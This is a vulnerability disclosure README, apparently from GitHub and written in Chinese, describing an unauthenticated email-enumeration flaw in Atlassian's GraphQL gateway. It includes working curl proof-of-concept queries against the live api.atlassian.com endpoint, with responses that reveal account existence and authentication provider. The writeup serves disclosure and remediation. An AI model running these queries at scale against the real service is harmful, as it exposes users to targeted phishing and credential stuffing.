Wh4l3X/CVE-2026-XXXX-atlassian-email-enumeration
GitHub: Wh4l3X/CVE-2026-XXXX-atlassian-email-enumeration
利用 Atlassian GraphQL 网关未经身份验证查询的响应差异,实现批量邮箱账户枚举和身份验证提供商泄露的漏洞 PoC。
Stars: 1 | Forks: 0
# CVE-2026-XXXX: Atlassian Central GraphQL — 邮箱枚举 Oracle
## 产品
**Atlassian Central GraphQL Gateway** (`api.atlassian.com/graphql`)
## 漏洞类型
**CWE-204: 可观察的响应差异** — 邮箱枚举 Oracle
## 严重程度
**中危** — CVSS 5.3 `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
## 描述
Atlassian 中央 GraphQL 网关上的 `loomUnauthenticated_primaryAuthTypeForEmail` GraphQL 查询会根据邮箱地址是否在 Atlassian 注册而返回不同的响应,从而允许未经身份验证的用户枚举。
**已注册的邮箱** → 返回 `authType`(例如 `workos`、`password`、`google`)和一个重定向 URI
**未注册的邮箱** → 返回 `authType: "none"` 且没有重定向 URI
此操作无需身份验证。查询名称包含“Unauthenticated”——这是有意公开的,但它不应泄露任意邮箱是否拥有 Atlassian 账户。
## 受影响版本
- Atlassian Central GraphQL Gateway (快照 37157,构建版本 2026-07-02)
- Endpoint: `https://api.atlassian.com/graphql`
## 概念验证
### 已注册邮箱(返回身份验证提供商):
```
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"admin@atlassian.com\") { authType hasActiveMemberships redirectUri } }"}'
```
响应:
```
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
```
### 未注册邮箱(返回 none):
```
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"noone@nonexist9999.com\") { authType } }"}'
```
响应:
```
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
```
### 其他泄露:邮箱 → 身份验证提供商映射
`authType: "workos"` 证实该邮箱使用 WorkOS SSO。`authType: "google"` 或 `authType: "password"` 将泄露身份验证方式。这可实现针对性的网络钓鱼。
## 影响
未经身份验证的攻击者可以:
- 大规模枚举已注册的 Atlassian/Loom 账户
- 将邮箱映射到其身份验证提供商(Google SSO、WorkOS、password)
- 利用身份验证提供商信息进行针对性的网络钓鱼活动
- 建立有效的 Atlassian 用户列表以进行撞库攻击
## 根本原因
`loomUnauthenticated_primaryAuthTypeForEmail` 查询没有执行速率限制,并会在未经身份验证的情况下返回任何邮箱的身份验证提供商信息。虽然该 endpoint 是故意设置为无需身份验证的(用于 Loom 的注册流程),但它泄露了某个邮箱是否拥有账户以及他们使用的身份验证提供商。
## 修复建议
1. 添加速率限制以防止批量枚举
2. 对已注册和未注册的邮箱返回一致的响应
3. 或者:在查询邮箱状态之前要求输入 CAPTCHA/nonce
## 本漏洞不包含的内容
经过彻底测试,以下声明被**无效化**:
- ❌ 没有带有特权的 JWT token(token 包含 `aaid: "unidentified"`)
- ❌ 没有 admin mutation 执行(全部因 `ValidationError` 失败)
- ❌ 没有身份验证绕过(网关正确地将调用者识别为 `unidentified`)
- ❌ 除了邮箱/身份验证提供商映射之外,没有其他数据泄露
## 时间线
- **2026-06-30:** 发现
- **2026-06-30:** 报告至 security@atlassian.com
- **2026-07-02:** 修正评估 — 从严重 (9.8) 降级为中危 (5.3)
## 发现者
Wh4l3X
标签:CVE, GraphQL, PoC, 信息泄露, 实时处理, 应用安全, 数字签名, 暴力破解, 用户枚举